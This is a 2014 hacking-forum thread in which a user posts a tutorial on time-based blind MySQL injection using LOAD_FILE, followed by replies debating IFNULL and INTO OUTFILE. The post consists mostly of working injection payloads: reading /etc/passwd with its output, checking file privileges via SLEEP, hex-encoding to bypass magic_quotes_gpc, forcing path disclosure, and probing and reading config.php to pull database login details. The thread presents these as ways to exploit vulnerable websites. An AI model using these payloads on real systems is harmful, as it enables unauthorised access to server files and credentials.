

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Using LOAD_FILE with Time Based MySQL Injection \[HQ!\]](#)

-DownFall - June 6, 2014, 8:13 pm

Today I'm going to be going over using LOAD_FILE with Time Based Blind SQL Injection. This method may look advanced, but if you take a look at my tutorials bit by bit the pieces will come together.

First off, Time Based Blind MySQL injection is a painful method, and very time consuming. However, if you're running out of options, this may be a chance to further exploit your vulnerable website.

Now first off, time based should only be used when there is NO other option available. Blind MySQL injection is slow enough, but TIME BASED...even worse.

Now skipping all the other options using MySQL Injection (digging for login info, into outfile, etc), we're going to jump into LOAD_FILE to get the tutorial started.

LOAD_FILE does what it sounds like, loads a file. Ex: on linux. Here's an example of a UNION based attack using LOAD_FILE.

Spoiler [\(Click to View\)](#)

PHP Code

<?php

http://127.0.0.1/PHP/index.php?id=1' DIV(0) UNION SELECT null,LOAD_FILE('/etc/passwd'),3-- x

root!:0:0:./usr/bin/ksh

daemon!:1:1:./etc:

bin!:2:2:./bin:

sys!:3:3:./usr/sys:

adm!:4:4:./var/adm:

uucp!:5:5:./usr/lib/uucp:

guest!:100:100:./home/guest:

nobody!:4294967294:4294967294:./:

lpd!:9:4294967294:./:

lp:*:11:11:./var/spool/lp:/bin/false

invscout*:200:1:./var/adm/invscout:/usr/bin/ksh

nuucp*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uuc

If magic_quotes_gpc = On, then convert your file name to HEX.

Spoiler [\(Click to View\)](#)

PHP Code

<?php

http://127.0.0.1/PHP/index.php?id=1' DIV(0) UNION SELECT null,LOAD_FILE(0x2f6574632f706173737764),3-- x

root!:0:0:./usr/bin/ksh

```
daemon!:1:1::/etc:
bin!:2:2::/bin:
sys!:3:3::/usr/sys:
adm!:4:4::/var/adm:
uucp!:5:5::/usr/lib/uucp:
guest!:100:100::/home/guest:
nobody!:4294967294:4294967294::/
lpd!:9:4294967294::/
lp:*:11:11::/var/spool/lp:/bin/false
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uuc
```

Using TIME BASED attack:

Spoiler ([Click to View](#))

PHP Code

```
<?php
```

```
http://127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(1=1,SLEEP(3),NULL)) -- x
```

Now my page takes 3 seconds to load, this confirms I can use a time based attack.

Now in order to use LOAD_FILE, you need file permissions. Here's an example of how to check if the MySQL user you're running has proper privileges.

Spoiler ([Click to View](#))

PHP Code

```
<?php
```

```
http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF((SELECT file_priv FROM mysql.user LIMIT 0,1)
='Y',SLEEP(3),NULL)) -- x
```

If magic_quotes_gpc = On, convert to HEX.

Spoiler ([Click to View](#))

PHP Code

```
<?php
```

```
http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF((SELECT file_priv FROM mysql.user LIMIT 0,1)
=0x59,SLEEP(3),NULL)) -- x
```

Now my site takes an extra 3 seconds to load, which means the query returned a true value, meaning I have file privileges.

Now that we know I can use LOAD_FILE, let's get some FPD (Full Path Disclosure) to get the full website path (which we will use to guess configuration files).

Let's try converting our parameter to an array, in order to force a PHP error.

Spoiler ([Click to View](#))

PHP Code

```
<?php
http://127.0.0.1/PHP/index.php?id[]=1'
```

Notice: Array to string conversion in C:\xampp1\htdocs\PHP\index.php on line 17

Now that we got the full site path, we're going to be using a function in SQL known as ISNULL(), to check whether the file we're looking for exists.

As most programmers know, ! is a sign for NOT, so !isnull is the same as NOT null. First, let's try using a known file. Let's take a look at our HTML source.

Spoiler ([Click to View](#))

PHP Code

```
<?php
<html>
  <head>
    <title>Index Page</title>
    <link rel="stylesheet" type="text/css" href="index.css">
  </head>
<body>
  <center>

  </center>
</body>
</html>
```

Take a look at the HREF attribute, which specifies a destination link. It's referring to a file called "index.css". Now let's combine this with our full path, and check if the file exists using !isnull.

Spoiler ([Click to View](#))

PHP Code

```
<?php
http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(!isnull(LOAD_FILE('C:/xampp1/htdocs/PHP/index.css')),SLEEP(3),NULL)) -- x
```

If magic_quotes_gpc = On

Spoiler ([Click to View](#))

PHP Code

```
<?php
http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(!isnull(LOAD_FILE(0x433a2f78616d7070312f6874646f63732f5048502f696e6465782e637373)),SLEEP(3),NULL)) -- x
```

Success! Our page took an extra 3 seconds to send the request, meaning our file we're attempting to load is NOT NULL (meaning it exists).

Now that we know how to check if files exist, let's try digging up some MySQL configuration files ?

Here's a few common configuration file names.

Code connect.php
mysql.php
config.inc.php
config.php

Now this is my local server, I know the configuration file name. So to save time, let's try guessing one that DOES NOT exist, then one that EXISTS.

Spoiler ([Click to View](#))

PHP Code

<?php

http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(!isnull(LOAD_FILE('C:/xampp1/htdocs/PHP/IDontExist.php')),SLEEP(3),NULL)) -- x

If magic_quotes_gpc = On

Spoiler ([Click to View](#))

PHP Code

<?php

http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(!isnull(LOAD_FILE(0x433a2f78616d7070312f6874646663732f5048502f49446f6e7445786973742e706870)),SLEEP(3),NULL)) -- x

The page loads instantly, meaning our query returned false, and the file we're trying to load is NULL (does not exist).

Now, let's try guessing the config file name (in this case, config.php).

Spoiler ([Click to View](#))

PHP Code

<?php

http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(!isnull(LOAD_FILE('C:/xampp1/htdocs/PHP/config.php')),SLEEP(3),NULL)) -- x

If magic_quotes_gpc = On

Spoiler ([Click to View](#))

PHP Code

<?php

http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(!isnull(LOAD_FILE(0x433a2f78616d7070312f6874646663732f5048502f636f6e6669672e706870)),SLEEP(3),NULL)) -- x

Our page takes 3 seconds to send the request, meaning the file we're loading (config.php) EXISTS!!

Now let's try pulling some data from it. As you may know, most PHP files start with "<?php". Let's

try seeing if this is true using a combination of a TIME BASED attack, SUBSTRING, and LOAD_FILE.

Spoiler ([Click to View](#))

PHP Code

<?php

http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(SUBSTRING(LOAD_FILE('C:/xampp1/htdocs/PHP/config.php'),1,5)='<?php',SLEEP(3),NULL)) -- x

If magic_quotes_gpc = On

Spoiler ([Click to View](#))

PHP Code

<?php

http:
//127.0.0.1/PHP/index.php?id=1' AND (SELECT IF(SUBSTRING(LOAD_FILE(0x433a2f78616d7070312f6874646663732f5048502f636f6e6669672e706870),1,5)=0x3c3f706870,SLEEP(3),NULL)) -- x

The page takes 3 seconds to send the request, meaning this query returns true. This says that the first 5 characters in config.php are '<?php'

Now we can dig up some of that login info using Blind MySQL injection. I hope you guys learned something new, enjoy!

Resources:

[Time Based Blind SQLi using SLEEP\(\)](#)

[\[Detailed\] Boolean Based Blind Injection \[Tutorial\]](#)

[\[Behind The Scenes\] Boolean Based Blind Injection \(Blind SQLi\)](#)

[Mega Webhacking Tutorials By Me](#)

?

AnonRobot - June 6, 2014, 10:30 pm

good job this is a very HQ tutorial as always from you thank you so much :D

-DownFall - June 7, 2014, 3:26 am

Thanks for the reply. Any other feedback is appreciated.

Tea. - June 7, 2014, 4:59 am

IFNULL works too! [here is an example](#)

Thank you OP! I am sure I will use this at one point or another.

dotcppfile - June 7, 2014, 6:32 am

Great tuts as always DownFall, thanks for sharing.

-DownFall - June 7, 2014, 5:19 pm

(Jun 7, 2014 04:59 AM)Tea. Wrote: [\[CITE\]](#) I'm not trying to be disrespectful or anything, I just started sqli yesterday and barely did any research, but I think that IFNULL is a better function. The syntax is much easier for this type of situation.

IFNULL(expression_1,expression_2)

The IFNULL function returns expression_1 if expression_1 is not NULL; otherwise it returns expression_2. The IFNULL function returns a string or a numeric based on the context where it is used.

so you would just do SELECT IFNULL(load_file('../configs.txt',sleep(3)))

[here is an example I think](#)

Either way, thank you for the tutorial it is really cool and you have been very helpfull my first few days!

Thanks for the input mate, however ~ they both essentially do the job, so I see neither as a "better" option. I'd label it as a personal preference, use whichever one you find more convenient.

Here's an example using IFNULL().

PHP Code

```
<?php
```

```
http://127.0.0.1/PHP/index.php
```

```
?id=1' AND (SELECT IFNULL(LOAD_FILE('C:/xampp1/htdocs/PHP/config.php'),SLEEP(5)))-- x
```

dotcppfile - June 9, 2014, 2:14 am

This is probably one of the most important threads on HF and it got thrown away to the third page...

JACK.HAMMER - June 9, 2014, 8:20 am

man how we can read all the file config ?!! its impossible how we can guess all the file ?

-DownFall - June 9, 2014, 12:21 pm

(Jun 9, 2014 02:14 AM)dotcppfile Wrote: [\[CITE\]](#) This is probably one of the most important threads on HF and it got thrown away to the third page...

It's always the best of threads, that usually do :3

(Jun 9, 2014 08:20 AM)JACK.HAMMER Wrote: [\[CITE\]](#) man how we can read all the file config ?!! its impossible how we can guess all the file ?

You guess character by character using SUBSTRING. Look at the tutorials I linked at the bottom where it says resources, study Blind MySQL injection, and you'll understand.

wowrude - June 9, 2014, 12:40 pm

(Jun 9, 2014 02:14 AM)dotcppfile Wrote: [\[CITE\]](#) This is probably one of the most important threads on HF and it got thrown away to the third page...

How often have you had the need to use load_file in conjunction with a time based MySQL injection vulnerability?

Just wondering.

dotcppfile - June 9, 2014, 12:42 pm

(Jun 9, 2014 12:40 PM)wowrude Wrote: [\[CITE\]](#) How often have you had the need to use load_file in conjunction with a time based MySQL injection vulnerability?

Just wondering.

I know your job in this forum is to act smart and rude Lol but I would use Load_File whenever I can since it's one of the most important functions, don't you think?

wowrude - June 9, 2014, 12:54 pm

(Jun 9, 2014 12:42 PM)dotcppfile Wrote: [\[CITE\]](#) I know your job in this forum is to act smart and rude Lol but I would use Load_File whenever I can since it's one of the most important functions, don't you think?

Well if you totally disregard the fact that it's only available while the mysql user is root or dba (aka virtually never), I guess you could call it important. In that case I would argue that it would be more imperative to be able to correctly use INTO OUTFILE with various types of SQLi rather than load_file.

?ain - June 9, 2014, 12:54 pm

Nice. Been looking for a nice tutorial on both load_file and time based.

-DownFall - June 9, 2014, 12:58 pm

(Jun 9, 2014 12:40 PM)wowrude Wrote: [\[CITE\]](#) How often have you had the need to use load_file in conjunction with a time based MySQL injection vulnerability?

Just wondering.

I'll admit, it's not very common given the circumstances but it's something new here.

(Jun 9, 2014 12:54 PM)C?rtex Wrote: [\[CITE\]](#) Nice. Been looking for a nice tutorial on both load_file and time based.

Thanks for the feedback mate, I'm glad you'll be using this.

dotcppfile - June 9, 2014, 1:05 pm

(Jun 9, 2014 12:54 PM)wowrude Wrote: [\[CITE\]](#) Well if you totally disregard the fact that it's only available while the mysql user is root or dba (aka virtually never), I guess you could call it important. In that case I would argue that it would be more imperative to be able to correctly use INTO OUTFILE with various types of SQLi rather than load_file.

I never did that, I did say that I will use it whenever I can and as long as anyone around here have the privileges to use LOAD_FILE then they should because they can do whatever they want with it. I donno what's your point, everyone knows that we can't always use it so please try to say something useful...

-DownFall - June 9, 2014, 1:15 pm

One condition was magic quotes enabled, it was one of the main factors of the tutorial, but it was rewritten and I included both examples with magic quotes on/off. As you know, you can't use into outfile with magic quotes, so this was written for the use of load_file. Of course outfile is a better option but giving the circumstances, it would be impossible with magic quotes on. PS - no matter how rare it is, it's best to have these writeups stashed away - you never know when you'll need them :3

wowrude - June 9, 2014, 1:48 pm

(Jun 9, 2014 01:15 PM)-DownFall Wrote: [\[CITE\]](#) One condition was magic quotes enabled, it was one of the main factors of the tutorial, but it was rewritten and I included both examples with magic quotes on/off. As you know, you can't use into outfile with magic quotes, so this was written for the use of load_file. Of course outfile is a better option but giving the circumstances, it would be impossible with magic quotes on. PS - no matter how rare it is, it's best to have these writeups stashed away - you never know when you'll need them :3

Right - I'm not saying that this should be regarded as completely useless and thrown away, I just don't think it deserves the title of:

(Jun 9, 2014 02:14 AM)dotcppfile Wrote: [\[CITE\]](#) one of the most important threads on HF

dotcppfile - June 9, 2014, 1:56 pm

(Jun 9, 2014 01:48 PM)wowrude Wrote: [\[CITE\]](#) Right - I'm not saying that this should be regarded as completely useless and thrown away, I just don't think it deserves the title of:

I understand what you mean but the problem is that I looked in this section and I found tuts related to simple union based injections and xss challenges on the front page while something unique as this tutorial was forgotten about lol.

-DownFall - June 9, 2014, 2:49 pm

The only thing is this thread is unique. Simply put, you're right it doesn't deserve that title, nor do any of the guides I made. There simply here for those who need them.

balaghacking - January 20, 2017, 12:01 am

can you share the source of code of this example

SIM-3192951 - January 21, 2017, 11:46 am

If magic_quotes_gpc = On, convert to HEX.

WHAT ABOUT id=1' ?????